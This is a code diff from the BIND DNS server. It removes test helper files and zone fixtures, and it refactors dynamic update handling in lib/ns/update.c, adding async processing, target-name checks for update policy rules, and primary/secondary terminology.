-	result = dns_message_renderbegin(message, &cctx, &querybuf);
-	if (result != ISC_R_SUCCESS) {
-		goto destroy_message;
-	}
-	result = dns_message_rendersection(message, DNS_SECTION_QUESTION, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto destroy_message;
-	}
-	result = dns_message_renderend(message);
-	if (result != ISC_R_SUCCESS) {
-		goto destroy_message;
-	}
-	dns_compress_invalidate(&cctx);
-
-	/*
-	 * Destroy the created message as it was rendered into "querybuf" and
-	 * the latter is all we are going to need from now on.
-	 */
-	dns_message_detach(&message);
-
-	/*
-	 * Parse the rendered query, storing results in client->message.
-	 */
-	isc_buffer_first(&querybuf);
-	return (dns_message_parse(client->message, &querybuf, 0));
-
-put_name:
-	dns_message_puttempname(message, &qname);
-put_rdataset:
-	dns_message_puttemprdataset(message, &qrdataset);
-destroy_message:
-	dns_message_detach(&message);
-
-	return (result);
-}
-
-/*%
- * A hook action which stores the query context pointed to by "arg" at
- * "data".  Causes execution to be interrupted at hook insertion
- * point.
- */
-static ns_hookresult_t
-extract_qctx(void *arg, void *data, isc_result_t *resultp) {
-	query_ctx_t **qctxp;
-	query_ctx_t *qctx;
-
-	REQUIRE(arg != NULL);
-	REQUIRE(data != NULL);
-	REQUIRE(resultp != NULL);
-
-	/*
-	 * qctx is a stack variable in lib/ns/query.c.  Its contents need to be
-	 * duplicated or otherwise they will become invalidated once the stack
-	 * gets unwound.
-	 */
-	qctx = isc_mem_get(mctx, sizeof(*qctx));
-	if (qctx != NULL) {
-		memmove(qctx, (query_ctx_t *)arg, sizeof(*qctx));
-	}
-
-	qctxp = (query_ctx_t **)data;
-	/*
-	 * If memory allocation failed, the supplied pointer will simply be set
-	 * to NULL.  We rely on the user of this hook to react properly.
-	 */
-	*qctxp = qctx;
-	*resultp = ISC_R_UNSET;
-
-	return (NS_HOOK_RETURN);
-}
-
-/*%
- * Initialize a query context for "client" and store it in "qctxp".
- *
- * Requires:
- *
- * 	\li "client->message" to hold a parsed DNS query.
- */
-static isc_result_t
-create_qctx_for_client(ns_client_t *client, query_ctx_t **qctxp) {
-	ns_hooktable_t *saved_hook_table = NULL, *query_hooks = NULL;
-	const ns_hook_t hook = {
-		.action = extract_qctx,
-		.action_data = qctxp,
-	};
-
-	REQUIRE(client != NULL);
-	REQUIRE(qctxp != NULL);
-	REQUIRE(*qctxp == NULL);
-
-	/*
-	 * Call ns_query_start() to initialize a query context for given
-	 * client, but first hook into query_setup() so that we can just
-	 * extract an initialized query context, without kicking off any
-	 * further processing.  Make sure we do not overwrite any previously
-	 * set hooks.
-	 */
-
-	ns_hooktable_create(mctx, &query_hooks);
-	ns_hook_add(query_hooks, mctx, NS_QUERY_SETUP, &hook);
-
-	saved_hook_table = ns__hook_table;
-	ns__hook_table = query_hooks;
-
-	ns_query_start(client, client->handle);
-
-	ns__hook_table = saved_hook_table;
-	ns_hooktable_free(mctx, (void **)&query_hooks);
-
-	isc_nmhandle_detach(&client->reqhandle);
-
-	if (*qctxp == NULL) {
-		return (ISC_R_NOMEMORY);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-}
-
-isc_result_t
-ns_test_qctx_create(const ns_test_qctx_create_params_t *params,
-		    query_ctx_t **qctxp) {
-	ns_client_t *client = NULL;
-	isc_result_t result;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(params != NULL);
-	REQUIRE(params->qname != NULL);
-	REQUIRE(qctxp != NULL);
-	REQUIRE(*qctxp == NULL);
-
-	/*
-	 * Allocate and initialize a client structure.
-	 */
-	result = ns_test_getclient(NULL, false, &client);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	TIME_NOW(&client->tnow);
-
-	/*
-	 * Every client needs to belong to a view.
-	 */
-	result = ns_test_makeview("view", params->with_cache, &client->view);
-	if (result != ISC_R_SUCCESS) {
-		goto detach_client;
-	}
-
-	/*
-	 * Synthesize a DNS query using given QNAME, QTYPE and flags, storing
-	 * it in client->message.
-	 */
-	result = attach_query_msg_to_client(client, params->qname,
-					    params->qtype, params->qflags);
-	if (result != ISC_R_SUCCESS) {
-		goto detach_view;
-	}
-
-	/*
-	 * Allow recursion for the client.  As NS_CLIENTATTR_RA normally gets
-	 * set in ns__client_request(), i.e. earlier than the unit tests hook
-	 * into the call chain, just set it manually.
-	 */
-	client->attributes |= NS_CLIENTATTR_RA;
-
-	/*
-	 * Create a query context for a client sending the previously
-	 * synthesized query.
-	 */
-	result = create_qctx_for_client(client, qctxp);
-	if (result != ISC_R_SUCCESS) {
-		goto detach_query;
-	}
-
-	/*
-	 * The reference count for "client" is now at 2, so we need to
-	 * decrement it in order for it to drop to zero when "qctx" gets
-	 * destroyed.
-	 */
-	handle = client->handle;
-	isc_nmhandle_detach(&handle);
-
-	return (ISC_R_SUCCESS);
-
-detach_query:
-	dns_message_detach(&client->message);
-detach_view:
-	dns_view_detach(&client->view);
-detach_client:
-	isc_nmhandle_detach(&client->handle);
-
-	return (result);
-}
-
-void
-ns_test_qctx_destroy(query_ctx_t **qctxp) {
-	query_ctx_t *qctx;
-
-	REQUIRE(qctxp != NULL);
-	REQUIRE(*qctxp != NULL);
-
-	qctx = *qctxp;
-	*qctxp = NULL;
-
-	if (qctx->zone != NULL) {
-		dns_zone_detach(&qctx->zone);
-	}
-	if (qctx->db != NULL) {
-		dns_db_detach(&qctx->db);
-	}
-	if (qctx->client != NULL) {
-		isc_nmhandle_detach(&qctx->client->handle);
-	}
-
-	isc_mem_put(mctx, qctx, sizeof(*qctx));
-}
-
-ns_hookresult_t
-ns_test_hook_catch_call(void *arg, void *data, isc_result_t *resultp) {
-	UNUSED(arg);
-	UNUSED(data);
-
-	*resultp = ISC_R_UNSET;
-
-	return (NS_HOOK_RETURN);
-}
-
-/*
- * Sleep for 'usec' microseconds.
- */
-void
-ns_test_nap(uint32_t usec) {
-	struct timespec ts;
-
-	ts.tv_sec = usec / 1000000;
-	ts.tv_nsec = (usec % 1000000) * 1000;
-	nanosleep(&ts, NULL);
-}
-
-isc_result_t
-ns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
-	       const char *testfile) {
-	isc_result_t result;
-	dns_fixedname_t fixed;
-	dns_name_t *name;
-
-	name = dns_fixedname_initname(&fixed);
-
-	result = dns_name_fromstring(name, origin, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_db_create(mctx, "rbt", name, dbtype, dns_rdataclass_in, 0,
-			       NULL, db);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_db_load(*db, testfile, dns_masterformat_text, 0);
-	return (result);
-}
-
-static int
-fromhex(char c) {
-	if (c >= '0' && c <= '9') {
-		return (c - '0');
-	} else if (c >= 'a' && c <= 'f') {
-		return (c - 'a' + 10);
-	} else if (c >= 'A' && c <= 'F') {
-		return (c - 'A' + 10);
-	}
-
-	printf("bad input format: %02x\n", c);
-	exit(3);
-	/* NOTREACHED */
-}
-
-isc_result_t
-ns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
-		size_t *sizep) {
-	isc_result_t result;
-	unsigned char *bp;
-	char *rp, *wp;
-	char s[BUFSIZ];
-	size_t len, i;
-	FILE *f = NULL;
-	int n;
-
-	result = isc_stdio_open(file, "r", &f);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	bp = buf;
-	while (fgets(s, sizeof(s), f) != NULL) {
-		rp = s;
-		wp = s;
-		len = 0;
-		while (*rp != '\0') {
-			if (*rp == '#') {
-				break;
-			}
-			if (*rp != ' ' && *rp != '\t' && *rp != '\r' &&
-			    *rp != '\n') {
-				*wp++ = *rp;
-				len++;
-			}
-			rp++;
-		}
-		if (len == 0U) {
-			continue;
-		}
-		if (len % 2 != 0U) {
-			CHECK(ISC_R_UNEXPECTEDEND);
-		}
-		if (len > bufsiz * 2) {
-			CHECK(ISC_R_NOSPACE);
-		}
-		rp = s;
-		for (i = 0; i < len; i += 2) {
-			n = fromhex(*rp++);
-			n *= 16;
-			n += fromhex(*rp++);
-			*bp++ = n;
-		}
-	}
-
-	*sizep = bp - buf;
-
-	result = ISC_R_SUCCESS;
-
-cleanup:
-	isc_stdio_close(f);
-	return (result);
-}
diff --git a/lib/ns/tests/nstest.h b/lib/ns/tests/nstest.h
deleted file mode 100644
index 1721d79d27..0000000000
--- a/lib/ns/tests/nstest.h
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <isc/buffer.h>
-#include <isc/hash.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/result.h>
-#include <dns/zone.h>
-
-#include <ns/client.h>
-#include <ns/hooks.h>
-#include <ns/interfacemgr.h>
-
-typedef struct ns_test_id {
-	const char *description;
-	int lineno;
-} ns_test_id_t;
-
-#define NS_TEST_ID(desc)                                \
-	{                                               \
-		.description = desc, .lineno = __LINE__ \
-	}
-
-#define CHECK(r)                             \
-	do {                                 \
-		result = (r);                \
-		if (result != ISC_R_SUCCESS) \
-			goto cleanup;        \
-	} while (0)
-
-extern isc_mem_t *mctx;
-extern isc_log_t *lctx;
-extern isc_taskmgr_t *taskmgr;
-extern isc_task_t *maintask;
-extern isc_timermgr_t *timermgr;
-extern isc_socketmgr_t *socketmgr;
-extern dns_zonemgr_t *zonemgr;
-extern dns_dispatchmgr_t *dispatchmgr;
-extern ns_clientmgr_t *clientmgr;
-extern ns_interfacemgr_t *interfacemgr;
-extern ns_server_t *sctx;
-extern bool app_running;
-extern int ncpus;
-extern bool debug_mem_record;
-
-#ifdef NETMGR_TRACE
-#define FLARG                                              \
-	, const char *file __attribute__((unused)),        \
-		unsigned int line __attribute__((unused)), \
-		const char *func __attribute__((unused))
-#else
-#define FLARG
-#endif
-
-isc_result_t
-ns_test_begin(FILE *logfile, bool create_managers);
-
-void
-ns_test_end(void);
-
-/*%
- * Create a view.  If "with_cache" is set to true, a cache database will
- * also be created and attached to the created view.
- */
-isc_result_t
-ns_test_makeview(const char *name, bool with_cache, dns_view_t **viewp);
-
-isc_result_t
-ns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
-		 bool keepview);
-
-isc_result_t
-ns_test_setupzonemgr(void);
-
-isc_result_t
-ns_test_managezone(dns_zone_t *zone);
-
-void
-ns_test_releasezone(dns_zone_t *zone);
-
-void
-ns_test_closezonemgr(void);
-
-/*%
- * Load data for zone "zonename" from file "filename" and start serving it to
- * clients matching "view".  Only one zone loaded using this function can be
- * served at any given time.
- */
-isc_result_t
-ns_test_serve_zone(const char *zonename, const char *filename,
-		   dns_view_t *view);
-
-/*%
- * Release the zone loaded by ns_test_serve_zone().
- */
-void
-ns_test_cleanup_zone(void);
-
-void
-ns_test_nap(uint32_t usec);
-
-isc_result_t
-ns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
-	       const char *testfile);
-
-isc_result_t
-ns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
-		size_t *sizep);
-
-isc_result_t
-ns_test_getclient(ns_interface_t *ifp0, bool tcp, ns_client_t **clientp);
-
-/*%
- * Structure containing parameters for ns_test_qctx_create().
- */
-typedef struct ns_test_qctx_create_params {
-	const char *qname;
-	dns_rdatatype_t qtype;
-	unsigned int qflags;
-	bool with_cache;
-} ns_test_qctx_create_params_t;
-
-/*%
- * Prepare a query context identical with one that would be prepared if a query
- * with given QNAME, QTYPE and flags was received from a client.  Recursion is
- * assumed to be allowed for this client.  If "with_cache" is set to true,
- * a cache database will be created and associated with the view matching the
- * incoming query.
- */
-isc_result_t
-ns_test_qctx_create(const ns_test_qctx_create_params_t *params,
-		    query_ctx_t **qctxp);
-
-/*%
- * Destroy a query context created by ns_test_qctx_create().
- */
-void
-ns_test_qctx_destroy(query_ctx_t **qctxp);
-
-/*%
- * A hook callback interrupting execution at given hook's insertion point.
- */
-ns_hookresult_t
-ns_test_hook_catch_call(void *arg, void *data, isc_result_t *resultp);
diff --git a/lib/ns/tests/testdata/notify/zone1.db b/lib/ns/tests/testdata/notify/zone1.db
deleted file mode 100644
index af887f6b31..0000000000
--- a/lib/ns/tests/testdata/notify/zone1.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 1000
-@		in	soa	localhost. postmaster.localhost. (
-				1993050801	;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				3600 )		;minimum
-		in	ns	ns.example.com.
-		in	ns	ns2.example.com.
-		in	ns	ns3.example.com.
-ns		in	a	10.0.0.1
-ns2		in	a	10.0.0.2
-ns3		in	a	10.0.0.3
-
-a		in	a	1.2.3.4
diff --git a/lib/ns/tests/testdata/query/foo.db b/lib/ns/tests/testdata/query/foo.db
deleted file mode 100644
index 1cf3273317..0000000000
--- a/lib/ns/tests/testdata/query/foo.db
+++ /dev/null
@@ -1,18 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-@		IN	SOA	localhost. postmaster.localhost. (
-				1		;serial
-				3600		;refresh
-				1800		;retry
-				604800		;expiration
-				3600 )		;minimum
-		IN	NS	ns
-ns		IN	A	127.0.0.1
diff --git a/lib/ns/update.c b/lib/ns/update.c
index f2933595dc..9331d591e5 100644
--- a/lib/ns/update.c
+++ b/lib/ns/update.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,19 +14,17 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/serial.h>
 #include <isc/stats.h>
 #include <isc/string.h>
-#include <isc/taskpool.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
 #include <dns/dbiterator.h>
 #include <dns/diff.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/journal.h>
 #include <dns/keyvalues.h>
@@ -37,6 +37,7 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
+#include <dns/result.h>
 #include <dns/soa.h>
 #include <dns/ssu.h>
 #include <dns/tsig.h>
@@ -117,6 +118,8 @@
 		case DNS_R_YXRRSET:                          \
 		case DNS_R_NXRRSET:                          \
 			_what = "unsuccessful";              \
+		default:                                     \
+			break;                               \
 		}                                            \
 		update_log(client, zone, LOGLEVEL_PROTOCOL,  \
 			   "update %s: %s (%s)", _what, msg, \
@@ -140,6 +143,8 @@
 		case DNS_R_YXRRSET:                                        \
 		case DNS_R_NXRRSET:                                        \
 			_what = "unsuccessful";                            \
+		default:                                                   \
+			break;                                             \
 		}                                                          \
 		if (isc_log_wouldlog(ns_lctx, LOGLEVEL_PROTOCOL)) {        \
 			char _nbuf[DNS_NAME_FORMATSIZE];                   \
@@ -167,6 +172,8 @@
 		case DNS_R_YXRRSET:                                           \
 		case DNS_R_NXRRSET:                                           \
 			_what = "unsuccessful";                               \
+		default:                                                      \
+			break;                                                \
 		}                                                             \
 		if (isc_log_wouldlog(ns_lctx, LOGLEVEL_PROTOCOL)) {           \
 			char _nbuf[DNS_NAME_FORMATSIZE];                      \
@@ -215,13 +222,15 @@ struct rr {
 	dns_rdata_t rdata;
 };
 
-typedef struct update_event update_event_t;
+typedef struct update update_t;
 
-struct update_event {
-	ISC_EVENT_COMMON(update_event_t);
+struct update {
 	dns_zone_t *zone;
+	ns_client_t *client;
 	isc_result_t result;
 	dns_message_t *answer;
+	const dns_ssurule_t **rules;
+	size_t ruleslen;
 };
 
 /*%
@@ -252,15 +261,18 @@ typedef struct {
  */
 
 static void
-update_action(isc_task_t *task, isc_event_t *event);
+update_action(void *arg);
 static void
-updatedone_action(isc_task_t *task, isc_event_t *event);
+updatedone_action(void *arg);
 static isc_result_t
-send_forward_event(ns_client_t *client, dns_zone_t *zone);
+send_forward(ns_client_t *client, dns_zone_t *zone);
 static void
-forward_done(isc_task_t *task, isc_event_t *event);
+forward_done(void *arg);
 static isc_result_t
 add_rr_prepare_action(void *data, rr_t *rr);
+static isc_result_t
+rr_exists(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
+	  const dns_rdata_t *rdata, bool *flag);
 
 /**************************************************************************/
 
@@ -313,9 +325,9 @@ update_log_cb(void *arg, dns_zone_t *zone, int level, const char *message) {
 /*%
  * Increment updated-related statistics counters.
  */
-static inline void
+static void
 inc_stats(ns_client_t *client, dns_zone_t *zone, isc_statscounter_t counter) {
-	ns_stats_increment(client->sctx->nsstats, counter);
+	ns_stats_increment(client->manager->sctx->nsstats, counter);
 
 	if (zone != NULL) {
 		isc_stats_t *zonestats = dns_zone_getrequeststats(zone);
@@ -334,25 +346,26 @@ inc_stats(ns_client_t *client, dns_zone_t *zone, isc_statscounter_t counter) {
 static isc_result_t
 checkqueryacl(ns_client_t *client, dns_acl_t *queryacl, dns_name_t *zonename,
 	      dns_acl_t *updateacl, dns_ssutable_t *ssutable) {
+	isc_result_t result;
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char classbuf[DNS_RDATACLASS_FORMATSIZE];
-	int level;
-	isc_result_t result;
+	bool update_possible =
+		((updateacl != NULL && !dns_acl_isnone(updateacl)) ||
+		 ssutable != NULL);
 
 	result = ns_client_checkaclsilent(client, NULL, queryacl, true);
 	if (result != ISC_R_SUCCESS) {
+		int level = update_possible ? ISC_LOG_ERROR : ISC_LOG_INFO;
+
 		dns_name_format(zonename, namebuf, sizeof(namebuf));
 		dns_rdataclass_format(client->view->rdclass, classbuf,
 				      sizeof(classbuf));
 
-		level = (updateacl == NULL && ssutable == NULL) ? ISC_LOG_INFO
-								: ISC_LOG_ERROR;
-
 		ns_client_log(client, NS_LOGCATEGORY_UPDATE_SECURITY,
 			      NS_LOGMODULE_UPDATE, level,
 			      "update '%s/%s' denied due to allow-query",
 			      namebuf, classbuf);
-	} else if (updateacl == NULL && ssutable == NULL) {
+	} else if (!update_possible) {
 		dns_name_format(zonename, namebuf, sizeof(namebuf));
 		dns_rdataclass_format(client->view->rdclass, classbuf,
 				      sizeof(classbuf));
@@ -368,27 +381,28 @@ checkqueryacl(ns_client_t *client, dns_acl_t *queryacl, dns_name_t *zonename,
 /*%
  * Override the default acl logging when checking whether a client
  * can update the zone or whether we can forward the request to the
- * master based on IP address.
+ * primary server based on IP address.
  *
  * 'message' contains the type of operation that is being attempted.
- * 'slave' indicates if this is a slave zone.  If 'acl' is NULL then
- * log at debug=3.
+ *
+ * 'secondary' indicates whether this is a secondary zone.
+ *
  * If the zone has no access controls configured ('acl' == NULL &&
- * 'has_ssutable == ISC_FALS) log the attempt at info, otherwise
- * at error.
+ * 'has_ssutable == false`), log the attempt at info, otherwise at error.
+ * If 'secondary' is true, log at debug=3.
  *
- * If the request was signed log that we received it.
+ * If the request was signed, log that we received it.
  */
 static isc_result_t
 checkupdateacl(ns_client_t *client, dns_acl_t *acl, const char *message,
-	       dns_name_t *zonename, bool slave, bool has_ssutable) {
+	       dns_name_t *zonename, bool secondary, bool has_ssutable) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char classbuf[DNS_RDATACLASS_FORMATSIZE];
 	int level = ISC_LOG_ERROR;
 	const char *msg = "denied";
 	isc_result_t result;
 
-	if (slave && acl == NULL) {
+	if (secondary && acl == NULL) {
 		result = DNS_R_NOTIMP;
 		level = ISC_LOG_DEBUG(3);
 		msg = "disabled";
@@ -598,7 +612,7 @@ foreach_rrset(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 	}
 
 	iter = NULL;
-	result = dns_db_allrdatasets(db, node, ver, (isc_stdtime_t)0, &iter);
+	result = dns_db_allrdatasets(db, node, ver, 0, (isc_stdtime_t)0, &iter);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_node;
 	}
@@ -815,7 +829,8 @@ static isc_result_t
 cname_compatibility_action(void *data, dns_rdataset_t *rrset) {
 	UNUSED(data);
 	if (rrset->type != dns_rdatatype_cname &&
-	    !dns_rdatatype_atcname(rrset->type)) {
+	    !dns_rdatatype_atcname(rrset->type))
+	{
 		return (ISC_R_EXISTS);
 	}
 	return (ISC_R_SUCCESS);
@@ -911,23 +926,71 @@ typedef struct {
 
 static isc_result_t
 ssu_checkrule(void *data, dns_rdataset_t *rrset) {
-	const dns_ssurule_t *rule = NULL;
 	ssu_check_t *ssuinfo = data;
-	bool rule_ok;
+	bool rule_ok = false;
 
 	/*
 	 * If we're deleting all records, it's ok to delete RRSIG and NSEC even
 	 * if we're normally not allowed to.
 	 */
 	if (rrset->type == dns_rdatatype_rrsig ||
-	    rrset->type == dns_rdatatype_nsec) {
+	    rrset->type == dns_rdatatype_nsec)
+	{
 		return (ISC_R_SUCCESS);
 	}
 
-	rule_ok = dns_ssutable_checkrules(ssuinfo->table, ssuinfo->signer,
-					  ssuinfo->name, ssuinfo->addr,
-					  ssuinfo->tcp, ssuinfo->aclenv,
-					  rrset->type, ssuinfo->key, &rule);
+	/*
+	 * krb5-subdomain-self-rhs and ms-subdomain-self-rhs need
+	 * to check the PTR and SRV target names so extract them
+	 * from the resource records.
+	 */
+	if (rrset->rdclass == dns_rdataclass_in &&
+	    (rrset->type == dns_rdatatype_srv ||
+	     rrset->type == dns_rdatatype_ptr))
+	{
+		dns_name_t *target = NULL;
+		dns_rdata_ptr_t ptr;
+		dns_rdata_in_srv_t srv;
+		dns_rdataset_t rdataset;
+		isc_result_t result;
+
+		dns_rdataset_init(&rdataset);
+		dns_rdataset_clone(rrset, &rdataset);
+
+		for (result = dns_rdataset_first(&rdataset);
+		     result == ISC_R_SUCCESS;
+		     result = dns_rdataset_next(&rdataset))
+		{
+			dns_rdata_t rdata = DNS_RDATA_INIT;
+			dns_rdataset_current(&rdataset, &rdata);
+			if (rrset->type == dns_rdatatype_ptr) {
+				result = dns_rdata_tostruct(&rdata, &ptr, NULL);
+				RUNTIME_CHECK(result == ISC_R_SUCCESS);
+				target = &ptr.ptr;
+			}
+			if (rrset->type == dns_rdatatype_srv) {
+				result = dns_rdata_tostruct(&rdata, &srv, NULL);
+				RUNTIME_CHECK(result == ISC_R_SUCCESS);
+				target = &srv.target;
+			}
+			rule_ok = dns_ssutable_checkrules(
+				ssuinfo->table, ssuinfo->signer, ssuinfo->name,
+				ssuinfo->addr, ssuinfo->tcp, ssuinfo->aclenv,
+				rrset->type, target, ssuinfo->key, NULL);
+			if (!rule_ok) {
+				break;
+			}
+		}
+		if (result != ISC_R_NOMORE) {
+			rule_ok = false;
+		}
+		dns_rdataset_disassociate(&rdataset);
+	} else {
+		rule_ok = dns_ssutable_checkrules(
+			ssuinfo->table, ssuinfo->signer, ssuinfo->name,
+			ssuinfo->addr, ssuinfo->tcp, ssuinfo->aclenv,
+			rrset->type, NULL, ssuinfo->key, NULL);
+	}
 	return (rule_ok ? ISC_R_SUCCESS : ISC_R_FAILURE);
 }
 
@@ -949,6 +1012,33 @@ ssu_checkall(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 	return (result == ISC_R_SUCCESS);
 }
 
+static isc_result_t
+ssu_checkrr(void *data, rr_t *rr) {
+	isc_result_t result;
+	ssu_check_t *ssuinfo = data;
+	dns_name_t *target = NULL;
+	dns_rdata_ptr_t ptr;
+	dns_rdata_in_srv_t srv;
+	bool answer;
+
+	if (rr->rdata.type == dns_rdatatype_ptr) {
+		result = dns_rdata_tostruct(&rr->rdata, &ptr, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		target = &ptr.ptr;
+	}
+	if (rr->rdata.type == dns_rdatatype_srv) {
+		result = dns_rdata_tostruct(&rr->rdata, &srv, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		target = &srv.target;
+	}
+
+	answer = dns_ssutable_checkrules(
+		ssuinfo->table, ssuinfo->signer, ssuinfo->name, ssuinfo->addr,
+		ssuinfo->tcp, ssuinfo->aclenv, rr->rdata.type, target,
+		ssuinfo->key, NULL);
+	return (answer ? ISC_R_SUCCESS : ISC_R_FAILURE);
+}
+
 /**************************************************************************/
 /*
  * Checking of "RRset exists (value dependent)" prerequisites.
@@ -1084,7 +1174,8 @@ temp_check(isc_mem_t *mctx, dns_diff_t *temp, dns_db_t *db,
 
 			*typep = type = t->rdata.type;
 			if (type == dns_rdatatype_rrsig ||
-			    type == dns_rdatatype_sig) {
+			    type == dns_rdatatype_sig)
+			{
 				covers = dns_rdata_covers(&t->rdata);
 			} else if (type == dns_rdatatype_any) {
 				dns_db_detachnode(db, &node);
@@ -1136,7 +1227,8 @@ temp_check(isc_mem_t *mctx, dns_diff_t *temp, dns_db_t *db,
 			 * they are already sorted.
 			 */
 			while (t != NULL && dns_name_equal(&t->name, name) &&
-			       t->rdata.type == type) {
+			       t->rdata.type == type)
+			{
 				dns_difftuple_t *next = ISC_LIST_NEXT(t, link);
 				ISC_LIST_UNLINK(temp->tuples, t, link);
 				ISC_LIST_APPEND(u_rrs.tuples, t, link);
@@ -1553,24 +1645,279 @@ check_soa_increment(dns_db_t *db, dns_dbversion_t *ver,
  */
 
 static isc_result_t
-send_update_event(ns_client_t *client, dns_zone_t *zone) {
+send_update(ns_client_t *client, dns_zone_t *zone) {
 	isc_result_t result = ISC_R_SUCCESS;
-	update_event_t *event = NULL;
-	isc_task_t *zonetask = NULL;
+	dns_ssutable_t *ssutable = NULL;
+	dns_message_t *request = client->message;
+	isc_mem_t *mctx = client->manager->mctx;
+	dns_aclenv_t *env = client->manager->aclenv;
+	dns_rdataclass_t zoneclass;
+	dns_rdatatype_t covers;
+	dns_name_t *zonename = NULL;
+	const dns_ssurule_t **rules = NULL;
+	size_t rule = 0, ruleslen = 0;
+	dns_zoneopt_t options;
+	dns_db_t *db = NULL;
+	dns_dbversion_t *ver = NULL;
+	update_t *uev = NULL;
+
+	CHECK(dns_zone_getdb(zone, &db));
+	zonename = dns_db_origin(db);
+	zoneclass = dns_db_class(db);
+	dns_zone_getssutable(zone, &ssutable);
+	options = dns_zone_getoptions(zone);
+	dns_db_currentversion(db, &ver);
+
+	/*
+	 * Update message processing can leak record existence information
+	 * so check that we are allowed to query this zone.  Additionally,
+	 * if we would refuse all updates for this zone, we bail out here.
+	 */
+	CHECK(checkqueryacl(client, dns_zone_getqueryacl(zone),
+			    dns_zone_getorigin(zone),
+			    dns_zone_getupdateacl(zone), ssutable));
+
+	/*
+	 * Check requestor's permissions.
+	 */
+	if (ssutable == NULL) {
+		CHECK(checkupdateacl(client, dns_zone_getupdateacl(zone),
+				     "update", dns_zone_getorigin(zone), false,
+				     false));
+	} else if (client->signer == NULL && !TCPCLIENT(client)) {
+		CHECK(checkupdateacl(client, NULL, "update",
+				     dns_zone_getorigin(zone), false, true));
+	}
+
+	if (dns_zone_getupdatedisabled(zone)) {
+		FAILC(DNS_R_REFUSED, "dynamic update temporarily disabled "
+				     "because the zone is frozen.  Use "
+				     "'rndc thaw' to re-enable updates.");
+	}
+
+	/*
+	 * Prescan the update section, checking for updates that
+	 * are illegal or violate policy.
+	 */
+	if (ssutable != NULL) {
+		ruleslen = request->counts[DNS_SECTION_UPDATE];
+		rules = isc_mem_cget(mctx, ruleslen, sizeof(*rules));
+	}
+
+	for (rule = 0,
+	    result = dns_message_firstname(request, DNS_SECTION_UPDATE);
+	     result == ISC_R_SUCCESS;
+	     rule++, result = dns_message_nextname(request, DNS_SECTION_UPDATE))
+	{
+		dns_name_t *name = NULL;
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_ttl_t ttl;
+		dns_rdataclass_t update_class;
+
+		INSIST(ssutable == NULL || rule < ruleslen);
+
+		get_current_rr(request, DNS_SECTION_UPDATE, zoneclass, &name,
+			       &rdata, &covers, &ttl, &update_class);
+
+		if (!dns_name_issubdomain(name, zonename)) {
+			FAILC(DNS_R_NOTZONE, "update RR is outside zone");
+		}
+		if (update_class == zoneclass) {
+			/*
+			 * Check for meta-RRs.  The RFC2136 pseudocode says
+			 * check for ANY|AXFR|MAILA|MAILB, but the text adds
+			 * "or any other QUERY metatype"
+			 */
+			if (dns_rdatatype_ismeta(rdata.type)) {
+				FAILC(DNS_R_FORMERR, "meta-RR in update");
+			}
+			result = dns_zone_checknames(zone, name, &rdata);
+			if (result != ISC_R_SUCCESS) {
+				FAIL(DNS_R_REFUSED);
+			}
+			if ((options & DNS_ZONEOPT_CHECKSVCB) != 0 &&
+			    rdata.type == dns_rdatatype_svcb)
+			{
+				result = dns_rdata_checksvcb(name, &rdata);
+				if (result != ISC_R_SUCCESS) {
+					const char *reason =
+						isc_result_totext(result);
